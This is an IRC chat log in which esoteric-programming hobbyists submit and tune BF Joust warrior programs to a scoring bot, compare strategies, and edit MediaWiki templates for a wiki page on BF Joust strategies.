20:17:04 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*8(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
20:17:07 <elliott> ais523: first, it goes into a loop, and if the value is non-zero, it decreases it by one
20:17:11 <elliott> to get 1-decoys
20:17:16 <elliott> then it enters another loop, which is skipped if it was 1 ofc
20:17:18 <elliott> and tries ++
20:17:19 <elliott> because
20:17:22 <ais523> yep, that's standard
20:17:24 <elliott> FF -> FE because of the first - -> FF -> 00
20:17:28 <EgoBot> Score for Deewiant_sm3: 0.0
20:17:31 <ais523> I've done that in some of my own programs too
20:17:34 <ais523> as has Gregor
20:17:37 <Deewiant> Woops
20:17:39 <ais523> and probably other people as well
20:17:43 <elliott> ais523: but /then/, it guesses that it's a flag, and takes 128 off (despite the fact that this actually turns out to be (-)*127 because of the -++)
20:17:49 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
20:17:52 <elliott> ais523: _then_ it does [-[-[-(64 of those)
20:17:56 <EgoBot> Score for Deewiant_sm3: 52.8
20:17:57 <elliott> ais523: then [+[+[+(64 of those)
20:17:57 <Sgeo> So, what happened with the ()*0 issue and the mysterious furries?
20:17:59 <elliott> ais523: then [-]
20:18:02 <elliott> and then so, so many ]s
20:18:08 <ais523> ah, no wonder, it's too slow to detect
20:18:14 <quintopia> and it is the ]s that give it its power
20:18:15 <Gregor> Sgeo: I did it a different way.
20:18:36 <ais523> elliott: does it even set decoys?
20:18:37 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*7(<)*9(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*14(>[-([+{[(+)*8[-].[.+]]}])%3])*14
20:18:38 <Sgeo> Do tell?
20:18:40 <elliott> ais523: so basically, it aims for 1, then FF, then... 0x81 :P, and then it goes down for a while, up for a while, then down
20:18:42 <quintopia> what is an sm3?
20:18:49 <EgoBot> Score for Deewiant_sm3: 40.0
20:18:52 <elliott> ais523: and, depending on how far it gets into the loops, then sits around for _ages_ after clearing a cel
20:18:55 <elliott> which seems to help confuse defenders
20:18:55 <Sgeo> Also: Did we ever find out what furries with false comments does?
20:18:56 <elliott> *cell
20:19:00 <ais523> elliott: it would do
20:19:01 <elliott> ais523: no decoys, nope
20:19:02 <elliott> I might try adding some
20:19:05 <ais523> confuses tripwires
20:19:20 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*1(<)*3(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*20
20:19:38 <Gregor> Sgeo: Just some small amount of random flag nonsense before moving on.
20:19:39 <EgoBot> Score for Deewiant_sm3: 52.6
20:20:08 <quintopia> Deewiant: what is an sm3?
20:20:18 <Deewiant> http://en.wikipedia.org/wiki/VR_Class_Sm3
20:20:47 * Sgeo trains a train on Deewiant
20:21:11 <ais523> how the hell does superfast_jellyfish beat anything but defence?
20:21:16 <quintopia> Deewiant: has bf joust caused you to have to start studying trains?
20:21:18 <elliott> Deewiant: Have you ever made a program that isn't like a train? :P
20:21:19 <Gregor> There, it doesn't autoplay.
20:21:21 <Gregor> Now STFU.
20:21:25 <Deewiant> elliott: sloth
20:21:27 <elliott> Gregor: Is it floated right?
20:21:33 <Deewiant> quintopia: Not really
20:21:33 <Gregor> elliott: FUCK
20:21:34 <Gregor> elliott: YOU
20:21:42 <elliott> Gregor: The Authority (ais523) demanded that it be floated right.
20:21:44 <elliott> He might exile you.
20:21:45 <ais523> Gregor: he's underage, that's illegal
20:21:47 <ais523> elliott: no I haven't
20:21:51 <elliott> ais523: Close enough.
20:21:56 <elliott> You agreed it would create happiness!
20:22:04 <ais523> I don't mind it being floated right
20:22:10 <ais523> but I don't mind it at its current location either
20:22:12 <Gregor> I can't float it right, then it could cause line-breaking in the trace for no good reason (screen width is fine, just line breaking for idiocy)
20:22:15 <Sgeo> ....Paul the Hermit day
20:22:15 <Sgeo> WTF
20:22:32 <elliott> Gregor: ...how would it cause line-breaking?
20:22:46 <elliott> Even /my/ screen can fit the trace and video on maximum tape length.
20:22:46 <Gregor> elliott: By the trace plus the animation being wider than the screen durpadurp
20:22:50 <ais523> elliott: on a narrow screen, the trace and video wouldn't both fit
20:22:50 <elliott> <elliott> Even /my/ screen can fit the trace and video on maximum tape length.
20:22:53 <elliott> And it's only 1440 wide :P
20:22:57 <ais523> that's pretty wide
20:23:01 <elliott> ais523: Not really.
20:23:07 <elliott> Nobody uses 1024x768 any more (except maybe you)
20:23:07 <Gregor> Yes. Really.
20:23:08 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*3(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*10(>[-([+{[(+)*8[-].[.+]]}])%3])*18
20:23:23 <ais523> mine's 1366
20:23:29 <EgoBot> Score for Deewiant_sm3: 48.1
20:23:33 <Gregor> elliott: Why looka this, it's almost as if I'm not making the change because fuck you!
20:23:35 <ais523> my last laptop was 1280 wide
20:23:50 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
20:23:55 <quintopia> Deewiant: that article makes me wish USA had an extensive and reasonably priced rail network. amtrak is comfortable, but expensive compared to flying, and doesn't go many places...
20:23:56 <elliott> Gregor: Can you at least wrap the whole player in a div so that I can hide it?
20:23:59 <EgoBot> Score for Deewiant_sm3: 52.8
20:24:08 <Gregor> elliott: That is so completely absurd, but fine.
20:24:20 <Gregor> Honestly, is a black, non-animating box that distracting to you?
20:24:40 <ais523> his complaint is that it pushes things down the screen
20:24:44 <elliott> Gregor: No. Having to scroll down to see more than three lines of trace is.
20:24:55 <elliott> Which is exactly what I do constantly when developing warriors.
20:24:57 <Gregor> The top however-many lines of trace are useless anyway X_X
20:25:03 <elliott> No, they're not.
20:25:07 <elliott> I can see how decoys are built, etc.
20:25:17 <Gregor> Oh look, I moved over and started to build a decoy
20:25:21 <Gregor> Woohoo
20:25:34 <ais523> elliott still lives in a world of small decoys, I think
20:25:40 <elliott> Gregor: Um, yes, because I tweak warriors.
20:25:41 <elliott> ais523: Whaddya mean
20:25:55 <elliott> Gregor: I like to see what decoys other warriors build so that I can figure out how to effectively counter them.
20:25:58 <quintopia> Gregor: i don't think he'll be happy until the animation opens in a separate window when you click a button
20:26:00 <elliott> And it lets me see if they're setting up a tripwire, etc.
20:26:02 <elliott> So yes, the earlygame is useful.
20:26:02 <Gregor> I tweak warriors too. With the animation playing. And I don't go "OMG THE ANIMATION NOOOOOOSE"
20:26:07 <elliott> quintopia: No, I just want him to wrap it in a div.
20:26:17 <Deewiant> !bfjoust pendolino -(>)*6->+>(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:26:20 <Gregor> Bug closed. E_DONTCARE
20:26:20 <elliott> That's exactly one (1) unit of effort.
20:26:26 <elliott> X_X
20:26:28 <ais523> most programs are still building their second or third decoys by the time it scrolls off the screen
20:26:35 <Gregor> Ohyeah, was going to wrap it in a div :P
20:26:40 <EgoBot> Score for Deewiant_pendolino: 40.8
20:26:42 <elliott> ais523: Not fast ones.
20:27:01 <ais523> indeed, but they're rare nowadays, that's what I meant by "still lives in a world of small decoys"
20:27:12 <Deewiant> !bfjoust pendolino -(>)*6->+>(<)*2(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:27:12 <ais523> anyway, what do you think of http://esolangs.org/wiki/BF_Joust_strategies?
20:27:20 <EgoBot> Score for Deewiant_pendolino: 50.6
20:27:42 <Deewiant> !bfjoust pendolino -(>)*6->+<(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:27:49 <EgoBot> Score for Deewiant_pendolino: 50.8
20:27:50 <elliott> ais523: Someone did my link suggestion, so I'm happy. But "Trace and animation" looks kinda ugly with its sorta lopsided alignment.
20:27:58 <elliott> ais523: I think I'll create a template that expands to:
20:28:09 <ais523> that's templated already, just change the template
20:28:10 <Deewiant> !bfjoust pendolino -(>)*6->+<(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:28:12 <elliott> ''''program header thing''' &bull; '''trace link'''
20:28:12 <Sgeo> ais523, oooooo
20:28:13 <elliott> :Description
20:28:23 <EgoBot> Score for Deewiant_pendolino: 51.7
20:28:24 <ais523> what do you think of the /content/ of the page?
20:28:25 <elliott> (OK, I should use a definition list, but I don't know the wiki syntax for that.)
20:28:29 <elliott> ais523: It's good :P
20:28:30 <quintopia> ais523: did you figure out why superfast_jellyfish beats the speedies yet? :P
20:28:34 <ais523> ; for <dt>, : for <dd>
20:28:41 <elliott> ais523: But using {} for examples is problematic.
20:28:48 <ais523> quintopia: no; I figured out why defend9.5 almost ties, though
20:28:58 <ais523> elliott: ?
20:29:00 <elliott> ais523: May I suggest «...»?
20:29:04 <elliott> ais523: Rather than {tripwire} and the like.
20:29:05 <ais523> elliott: I didn't write that bit
20:29:12 <ais523> the page isn't all mine, it's a collaborative effort
20:29:15 <elliott> ais523: I'm not psychic; you asked what I thought of the page. :p
20:29:26 <ais523> feel free to tinker with the page
20:29:32 <elliott> ais523: you're wrong, it isn't templated
20:29:32 <Gregor> There, the animation is now in a div, o annoying one.
20:29:33 <ais523> and yes, the {} confused me too
20:29:35 <elliott> [http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/raw-file/89da92dc7a23/Gregor_sucralose_philip.bfjoust '''Gregor_sucralose_philip''']
20:29:35 <elliott> {{BFJAnim|f8c9e50f46cb1efa5723f43717ba87be36f7cd99}}
20:29:35 <elliott> Description: Same as high_fructose_corn_philip, but after finding four decoys, switches to a simple two-cycle clear strategy to avoid spending too many cycles on closing loops.
20:29:42 <ais523> elliott: BFJAnim is templated
20:29:46 <ais523> and that's the bit you were talking about
20:29:46 <elliott> ais523: that's not what i want to change
20:29:51 <ais523> ah
20:29:54 <elliott> <elliott> ''''program header thing''' &bull; '''trace link'''
20:29:55 <elliott> <elliott> :Description
20:30:00 <Deewiant> !bfjoust sm3 <
20:30:01 <ais523> yep, that could do with templating too
20:30:07 <elliott> I'll do it in a minute.
20:30:08 <EgoBot> Score for Deewiant_sm3: 0.0
20:30:10 <Deewiant> !bfjoust pendolino -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*9(>[-([+{[(+)*8[-].[.+]]}])%3])*19
20:30:18 <EgoBot> Score for Deewiant_pendolino: 54.9
20:30:22 <ais523> Deewiant: did you just delete the program at the top of the leaderboard?
20:30:27 <ais523> and if so, why?
20:30:32 <Deewiant> Yes, and replaced it with pendolino
20:30:39 <Gregor> Stop pushing my wonderful furry_furry_bondage_girls down :(
20:30:40 <ais523> ah, are they basically the same?
20:30:49 <Deewiant> So close that I'd rather not have them both
20:30:50 <ais523> I liked them both being there, they pushed defend9.75 above wireless
20:30:52 <Gregor> ais523: I think he uses the name sm3 for testing, then swaps that into the "real" name.
20:31:05 <Deewiant> No, actually I was going for something a bit different with sm3
20:31:07 <elliott> what's the mediawiki for "if this parameter exists, ..., else nothing"?
20:31:12 <ais523> elliott: ouch
20:31:16 <elliott> ais523: X_X
20:31:22 <elliott> don't tell me that's hard
20:31:27 <ais523> the "correct" way to do it is {{#if:}} but that's an extension that isn't installed on Esolang
20:31:32 <ais523> and there's a crazy hacky way to do it too
20:31:32 <elliott> Right.
20:31:34 <elliott> What's the hacky way.
20:31:34 <Gregor> !bfjoust saccharin_philip <
20:31:35 <ais523> let me dig it up
20:31:42 <EgoBot> Score for Gregor_saccharin_philip: 0.0
20:32:07 <Sgeo> It ocnly now occurs to me that programs can safely try to clear to the end, since if they correctly clear before then, battle's over
20:32:09 <Gregor> How evil would it be to establish a warrior limit on the hill >: )
20:32:17 <Gregor> That is, per-player warrior limit.
20:32:21 <ais523> EgoBot: I'm trying to find it
20:32:25 <elliott> Gregor: Too evil.
20:32:30 <elliott> <EgoBot> ais523: OK
20:32:34 <Gregor> elliott: Esp. since it'd be so easy to work around.
20:32:35 <ais523> *elliott:
20:32:47 <Gregor> EgoBot needs love too.
20:32:58 <elliott> in "trace and animation", what is the other program? simple?
20:33:04 <Sgeo> EgoBot, will you be my Valentine?
20:33:06 <Gregor> elliott: If unspecified.
20:33:22 <Gregor> elliott: You can also specify two unnamed arguments and then the second will be, err, the second.
20:33:45 <elliott> ais523: in "{{foo|x|abc=def|y}}", is y {{{2}}} or {{{3}}}?
20:33:47 <elliott> or is that invalid?
20:33:50 <quintopia> Gregor: i was considering the idea of a hill where people couldn't play their warriors against their other warriors. i rejected it because people seem to like to come up with ideas that can beat their old ideas (i know i do)
20:33:50 <ais523> elliott: http://en.wikipedia.org/wiki/Template:Qif
20:33:56 <ais523> elliott: I think it's {{{2}}}, but I'm not sure
20:34:07 <Gregor> quintopia: How would you accomplish such a concept?
20:34:12 <ais523> it's certainly confusing, at least, and would better be written with named params everywhere or all the anonymous templates first
20:34:24 <elliott> ais523: but the named one is the optional one
20:34:30 <elliott> {{BFJProg|nescience_creep|
20:34:35 <elliott> Abcdefdescription.}}
20:34:35 <elliott> vs.
20:34:41 <elliott> {{BFJProg|nescience_creep|anim=sdfg09ug98t98rtue|
20:34:42 <elliott> Abcdefdescription.}}
20:34:42 <ais523> ah, I see
20:34:48 <quintopia> Gregor: just assume that people always submit their warriors using the same nick. but that was all hypothetical and rejected.
20:34:49 <ais523> btw, it's best for long params like the description to be named
20:34:56 <ais523> because otherwise the template breaks if they have an = sign in anywhere
20:35:09 <elliott> ais523: heh, OK, I'll name it desc then.
20:35:33 <ais523> hmm, I wonder if {{qif}} counts as public-domain?
20:35:42 <ais523> if not, we might not be allowed to use it on Esolang, which would be kind-of ridiculous
20:35:49 <elliott> ais523: tell me how it works
20:35:52 <elliott> and I'll reimplement it
20:36:21 <quintopia> obtw, i never asked before but i've always wondered. why limes?
20:36:28 <Sgeo> "A few programs may benefit from not setting up decoys. This normally happens with bad programs, where setting up decoys may not aid their strategy because it was a bad idea in the first place, whereas not setting up decoys can trick tripwire avoiders off the end of the tape;"
20:36:38 <Sgeo> So, I should never write a program that makes a decoy. Got it.
20:36:42 <elliott> ais523: wtf@qif
20:36:46 <ais523> umm, that would involve knowing how it works
20:36:54 <elliott> ais523: I'm going to consider this public domain, because insanity isn't copyrightable
20:37:06 <ais523> quintopia: I think it's just a picture Graue liked
20:37:11 <ais523> there isn't any inherent reason as far as I know
20:37:27 <elliott> has anyone ever NOT asked why the logo is limes :)
20:37:42 <ais523> I never asked
20:37:43 <quintopia> ais523: so. do you think he'd let us change it to a complete and cartoonified version of careless philip the turtle? and make him our mascot? :P
20:37:48 <elliott> so, err, qif is worked like
20:37:55 <elliott> {{qif|param|ifitsthere|ifitsnot}}
20:37:56 <elliott> right?
20:37:57 <ais523> I think I know how qif works
20:38:11 <ais523> no, it's {{qif|test=maybenull|then=one|else=two}}
20:38:16 <elliott> ah
20:38:18 <ais523> the param names are needed, the template doesn't work otherwise
20:38:26 <elliott> can I omit else?
20:38:35 <Sgeo> According to the docs, yes
20:38:36 <ais523> no, but you can omit then if you like
20:38:43 <elliott> haha
20:38:46 <ais523> ah no
20:38:50 <ais523> they changed it to the sane way round
20:38:53 <elliott> ais523: argh, "then= foo" strips the space?
20:39:01 <ais523> I think so
20:39:08 <elliott> ais523: what to do? &nbsp;? :P
20:39:11 <elliott> &#32;?
20:39:12 <ais523> use nbsp if you can, or perhaps <nowiki></nowiki> before the space
20:39:21 <ais523> or nowiki the space itself
20:39:26 <elliott> ah, thanks
20:39:36 <elliott> yep, <nowiki></nowiki> works
20:39:49 <elliott> Gregor: What does {{BFJAnim|abc|}} do?
20:39:52 <elliott> With the empty last parameter?
20:40:00 <elliott> PLEASE say "works perfectly as if you didn't have an empty last parameter".
20:40:16 <Gregor> elliott: I have no idea, depends on how MediaWiki handles empty parameters.
20:40:22 <elliott> ais523: {{{2|x}}} where 2 is empty =?
20:40:39 <ais523> that gives x
20:40:43 <ais523> whereas it gives the value of 2 if 2 isn't empty
20:40:47 <elliott> Gregor: hmm, what does the second parameter to BFJAnim do?
20:41:05 <elliott> I need to know what to call it :P
20:41:06 <Gregor> elliott: It is the second program to be used.
20:41:07 <ais523> elliott: second param is the program to play against, "simple" or a hash in storage
20:41:09 <elliott> Oh, right.
20:41:13 <Gregor> elliott: "r"
20:41:15 <elliott> {{anim2}} then.
20:41:19 <elliott> Gregor: No, in BFJProg.
20:41:21 <Gregor> Oh
20:41:25 <ais523> I suggest you take a call to BFJAnim as input, btw
20:41:27 <Gregor> opponent?
20:41:32 <ais523> rather than its params individually
20:41:32 <elliott> ais523: oh, probably the best idea
20:41:36 <ais523> because it has several optional params
20:41:38 <elliott> I'll do that
20:41:52 * elliott converts the page to use the new template
20:42:14 <ais523> Gregor: decoytuner was never top of the leaderboard, was it? I removed it from the page because it was awful and I can't believe it was #1
20:42:20 <ais523> decoytuner2 might have been, though
20:42:45 * elliott ponders whether to have |code= as a param to BFJProg
20:42:51 <elliott> or whether that should be part of the descriptoin
20:42:53 <elliott> *descrption
20:42:54 <elliott> *descrption
20:42:57 <elliott> *description
20:42:59 <elliott> I'll make it a param
20:43:00 <elliott> for flexibility
20:43:03 <Gregor> ais523: I only added things that were #1.
20:43:06 <Sgeo> Gregor, the animation thing is awesome
20:43:08 <Sgeo> <3
20:43:13 <Gregor> Sgeo: Why thank you :P
20:43:15 <ais523> the thing is, some have code because they're short, some have links because they're long
20:43:26 <ais523> Gregor: I think you might have made a mistake
20:43:31 <elliott> ais523: right; well, I will have |code= and |codeurl= then
20:43:35 <ais523> decoytuner, the original, never went anywhere
20:43:42 <Gregor> ais523: Impossible!: P
20:43:51 <elliott> maybe |url= instead of |codeurl=
20:44:29 <Deewiant> !bfjoust pendolino -(>)*7->+(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*10(>[-([+{[(+)*8[-].[.+]]}])%3])*19
20:45:16 <EgoBot> Score for Deewiant_pendolino: 54.7
20:45:33 <elliott> OK, nobody edit [[BF Joust strategies]]
20:45:40 <ais523> to avoid conflicts?
20:45:50 <elliott> indeed
20:45:56 <elliott> ouch, the code of these programs aren't in <nowiki>
20:46:04 <elliott> but have <s in them
20:46:30 <elliott> {{BFJProg|nescience_creep|code=<nowiki> >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 </nowiki>
20:46:31 <elliott> |desc= A very slow rush that leaves a trail of small decoys, using a simple clear.}}
20:46:32 <elliott> looks nice enough to use
20:46:42 <ais523> they're in verbatim blocks, that's what the leading space does
20:46:43 * elliott puts the code on a separate line
20:46:50 <elliott> ais523: ah
20:46:56 <elliott> ais523: need nowiki with the template, though
20:47:00 <elliott> since it handles the display itself
20:47:00 <ais523> you should enclose them in <pre> if you're using the template, I think
20:47:05 <ais523> it's a different sort of verbatim block
20:47:09 <ais523> and has an implicit nowiki
20:47:18 <elliott> ais523: the template might want to display it outside of a pre, though!
20:47:19 <ais523> (note: this is not what <pre> actually means in HTML)
20:47:23 <elliott> (it uses <tt> right now)
20:47:25 <ais523> and hmm, OK
20:47:34 <elliott> woo, the template doesn't work
20:47:38 <elliott> probably because qif doesn't work
20:48:03 <elliott> hmm
20:48:04 <elliott> how odd
20:48:13 <elliott> the invocation looks OK to me
20:48:51 <ais523> {{{anim}}} should probably be {{{anim|}}} in case an animation isn't available or can't easily be produced
20:49:05 <elliott> ;{{qif|test={{{url}}}|then=[{{{url}}} {{{1}}}]|else={{{1}}}}}{{qif|test={{{anim}}}|then=<nowiki></nowiki> &bull; {{{anim}}}}}{{qif|test={{{code}}}|then=<nowiki></nowiki> &bull; <tt>{{{code}}}</tt>}}
20:49:09 <elliott> ais523: ah
20:49:13 <elliott> ais523: so I need to do that even with qif?
20:49:14 <elliott> nice :P
20:49:15 <ais523> (I was going to add ones for some of the early winners, but it turns out that they lose to even simple programs; I can't think back far enough to create something they beat and still looks plausible)
20:49:29 <ais523> elliott: test param of qif definitely needs an empty param default
20:49:39 <ais523> if anim doesn't have a value, {{{anim}}} is literally {{{anim}}}
20:49:51 <ais523> and {{{anim|}}} is the null string, which is what you probably wanted
20:50:02 <elliott> heh
20:50:19 * elliott wtfs
20:50:23 <elliott> "Code:" in a qif parameter ->
20:50:24 <elliott> Code
20:50:25 <elliott> :foo
20:50:27 <elliott> behaviour
20:50:32 * elliott nowikis
20:50:44 <ais523> elliott: : doesn't just trigger at the start of the line, that's correct
20:50:45 -!- Sgeo_ has joined.
20:50:49 -!- sebbu2 has joined.
20:50:49 <ais523> instead of going
20:50:49 -!- sebbu2 has quit (Changing host).
20:50:49 -!- sebbu2 has joined.
20:50:52 <ais523> ;title
20:50:54 <ais523> :definition
20:50:56 <ais523> you can also go
20:50:59 <ais523> ;title:definition
20:51:05 <elliott> heh
20:51:09 <ais523> that's probably a misfeature, but it's how it parses nonetheless
20:51:20 <ais523> now, there's a ; at the start of that line, so...
20:52:05 <Sgeo_> Why do I feel dizzy?
20:52:11 <Sgeo_> Not dizzy
20:52:13 <ais523> wow the philips have fallen down the leaderboard a lot
20:52:14 <elliott> yay, it's working now
20:52:14 <Sgeo_> Just.. weird
20:52:34 <ais523> what happened there? people engaging in anti-careless strategies?
20:52:48 <ais523> careless itself is halfway down, it was near the top yesterday
20:53:08 <Gregor> ais523: http://codu.org/eso/bfjoust/in_egobot/reports/report-2011-02-11-05-07.txt
20:53:37 <Gregor> ais523: Since most of my strategies have careless cores, anticareless has done well :P
20:53:41 <ais523> Gregor: that was a different version of decoytuner than the one you put on the wiki, I think
20:53:57 <Gregor> ais523: Ah; I just checked what was the top, then grabbed the latest thing with that name.
20:54:11 <elliott> yay, another bug in BFJProg
20:54:12 <ais523> yep, that version was a turtle, the one you put on the wiki wasn't
20:55:00 <elliott> I'm quite amazed that we have creative strategy names :P
20:55:28 <elliott> that's why we need people who aren't ais523 to do well :P
20:55:47 <elliott> argh, I see the problem
20:55:51 <elliott> {{BFJProg|foo
20:55:51 <ais523> I use creative names for my /strategies/ (lock, etc); just not for my /programs/
20:55:54 <elliott> | abc = def}}
20:56:02 <elliott> [{{{abc}}} {{{1}}}]
20:56:05 <elliott> {{{1}}} ends with a newline
20:56:08 <elliott> Is there a "strip" template? :P
20:56:19 <ais523> there's no way to remove newlines from template params
20:56:23 <ais523> you can do foo
20:56:25 <ais523> =param
20:56:30 <ais523> I think, not sure
20:56:36 <ais523> or maybe even foo= on a line and the param on the next
20:56:36 <elliott> ais523: eh?
20:56:37 <Gregor> I use creative names for my programs (ridiculous and scary is creative, right?), but don't use creative names for my strategies since i just steal.
20:56:45 <ais523> mediawiki template newline handling is insane
20:56:46 <elliott> Gregor: "turtle"
20:57:01 <ais523> well, it's called "careless clear" on the wiki after the first program to be successful with it
20:57:04 <Gregor> elliott: I accidentally reinvented careless with turtle :P
20:57:13 <elliott> turtle is a better name, though
20:57:18 <ais523> in fact, I think the terminology seems to be that "turtle" is the program type and "careless" the strategy it uses
20:57:24 <elliott> haha
20:57:27 <ais523> i.e. turtles are careless
20:58:06 -!- iamcal has joined.
20:58:29 <Sgeo_> !bfjoust dumb_turtle (>[(-)*128])*-1
20:58:41 <Sgeo_> Hmm, that's a really bad idea, come to think of it
20:58:54 <ais523> Sgeo_: you might want to put a + after the > so that the loop is actually entered
20:59:05 <ais523> and might also want to rule-of-nine it
20:59:14 <elliott> "An obvious modification of slowrush, possibly of an earlier version."
20:59:17 <Sgeo_> I don't want the loop to be entered until I'm on some value
20:59:22 <elliott> IIRC "reversi" = "reversed" = flipped polarity
20:59:24 <ais523> Sgeo_: ah, that makes sense
20:59:28 <elliott> of slowrush
20:59:38 <ais523> put > after the 128 then
20:59:39 <elliott> it might have been of an old version, but IIRC after stealing programs I used to tweak them
20:59:41 <Sgeo_> Ah, wait, even if I win, I'm going to rush off the edge, aren't I?
20:59:44 <ais523> so you don't end up oscillating on a 1-valued decoy
20:59:48 <ais523> umm, .> after the 128
20:59:49 <Gregor> TIME TO GO HOME AND DRINK SOME MORE SODA WOOH
20:59:55 <Sgeo_> I'm going to go home now
20:59:56 <ais523> you won't fall off the end if you win, ] takes a tick
21:00:06 -!- Sgeo has quit (*.net *.split).
21:00:06 -!- cal153 has quit (*.net *.split).
21:00:07 -!- sebbu has quit (*.net *.split).
21:00:07 -!- Mannerisky has quit (*.net *.split).
21:00:08 -!- sebbu2 has changed nick to sebbu.
21:00:12 <ais523> but if the first thing you hit isn't a flag, you'll go into an infinite loop
21:00:17 <Sgeo_> lolwhat at Sgeo
21:00:29 <Sgeo_> Hence the dumb
21:00:35 <ais523> `addquote <Sgeo_> I'm going to go home now <-- Sgeo has left this server (*.net *.split).
21:00:37 <ais523> such perfect timing
21:00:49 <ais523> if only it was the other nick, it'd have been even better
21:01:13 <Sgeo_> Bye
21:01:19 <ais523> bye
21:01:24 <elliott> "An alternating polarity offset clear that leaves no decoys and takes forever to reach the other flag. It's a wonder this thing ever won."
21:01:27 <elliott> :D
21:01:32 <elliott> ais523: bye?
21:01:36 <ais523> to sgeo
21:01:38 <elliott> ah
21:01:40 <ais523> *Sgeo
21:01:53 <HackEgo> 307) <Sgeo_> I'm going to go home now <-- Sgeo has left this server (*.net *.split).
21:02:11 <elliott> btw, I'm pretty sure that Patashu_rushpolarity is slowrush polarity'd
21:02:15 <elliott> or at least some rush polarity'd
21:02:16 <EgoBot> Score for Sgeo__dumb_turtle: 16.6
21:02:31 <ais523> elliott: it alternates polarity on adjacent tape elements, I think
21:02:35 <elliott> ah
21:02:36 <ais523> in order to avoid its polarity being detected
21:02:40 <elliott> is it still on the hill?
21:03:01 <ais523> yes, in fact it's sixth
21:03:27 <ais523> because it's a pain to beat when writing defense programs, so people normally don't bother
21:03:31 * elliott saves the template conversion so far
21:03:33 <ais523> and it does quite well against the prevalent strategies nowadays
21:03:35 <elliott> now to do the rest
21:04:05 <ais523> it is beatable though, e.g. defend9.75 beats it and space_elevator for the same reason
21:04:17 <elliott> what does 9.75 do?
21:04:31 <ais523> it's basically defend9 updated to modern strategies
21:04:42 <ais523> it detects enemy polarity and cycle length
21:04:50 <ais523> then uses a lock algorithm matched to what the enemy does
21:05:08 <ais523> it also sets seven decoys, three of which are also used as tripwires, and switches to a five-cycle clear versus defence
21:05:29 <ais523> and has all sorts of tricks to beat other common strategies
21:05:39 <elliott> nice
21:06:49 <quintopia> guys. i just realized the current top 3 are in a cycle with each other. pendolino>sm3>space_elevator>pendolino
21:07:05 -!- augur has quit (Read error: Connection reset by peer).
21:07:17 -!- Sgeo_ has quit (Ping timeout: 255 seconds).
21:07:25 <elliott> quintopia: heh
21:07:30 -!- augur has joined.
21:07:31 <ais523> and the fourth beats all three of them
21:08:12 <ais523> 9.75 is a limited strategy in a way; there are countermeasures against it you take that it can't be modified to beat without changing the whole concept or crippling it heavily against most other programs
21:08:41 -!- rodgort has quit (Quit: Coyote finally caught me).
21:08:57 -!- rodgort has joined.
21:09:47 <elliott> there's no description for space_elevator
21:09:48 * elliott adds one
21:09:55 <elliott> | desc = Utterly insane.}}
21:10:12 <ais523> really, the desc should be by the author and explain exactly how it works
21:10:27 <ais523> I have a pretty good idea of how it works, as I've studied a whole bunch of methods for countering it, from the specific to the generic
21:10:39 <elliott> But until such a description is written, it stays like that :P
21:10:45 <elliott> ais523: have you studied ICA's? :P
21:11:09 <elliott> template conversion done
21:11:33 <ais523> I haven't studied ICA's yet, but they're the sort of thing I don't like to try to beat
21:11:41 <elliott> ais523: *it's
21:11:47 <elliott> ais523: and why not?
21:11:51 <elliott> it's not a specific program targeter
21:11:53 <elliott> it's a confuser
21:12:10 <elliott> perhaps a defence program should try and get multiple readings of cycle length in different situations?
21:12:16 <ais523> it's because I'm bad at beating confusers
21:12:23 <ais523> defence programs lose to rush if they do that
21:13:03 <quintopia> gregor: i've got a fixed point algorithm for scoring. it's so simple you won't believe it
21:13:13 <elliott> quintopia: Is it mine? :P
21:13:15 <ais523> I like Gregor's, and how it works with the hill
21:13:23 <elliott> ais523: Gregor wants it to be fixed-point
21:13:25 <elliott> ais523: it would work the same way
21:13:27 <elliott> ais523: except be recursive
21:13:29 <quintopia> elliott: yes, except you divide by the number of programs
21:13:34 <elliott> quintopia: That's what I said ...
21:13:38 <quintopia> *don't divide
21:13:40 <elliott> Oh.
21:13:43 <quintopia> you just leave it
21:13:44 <elliott> quintopia: Surely that saturates?!
21:13:45 <quintopia> and it works
21:13:48 <elliott> O KAY
21:13:51 <elliott> And differs from the points?
21:13:55 <quintopia> it does
21:13:57 <ais523> ooh, looks like I have both highest negative-points and lowest positive-points programs on the hill
21:14:20 <elliott> Gregor: S(p) := sum S(q) for all q that p beats, where S(x) is initially taken as P(p).
21:14:25 <elliott> Gregor: quintopia says this is fixed-point, as unlikely as that sounds.
21:14:57 <quintopia> according to this algorithm 9.75 is easily the best program in the top 5 (which is exactly what we'd expect)
21:15:06 <elliott> sounds good
21:15:45 <elliott> quintopia: got a closed-form way to calculate it? :P
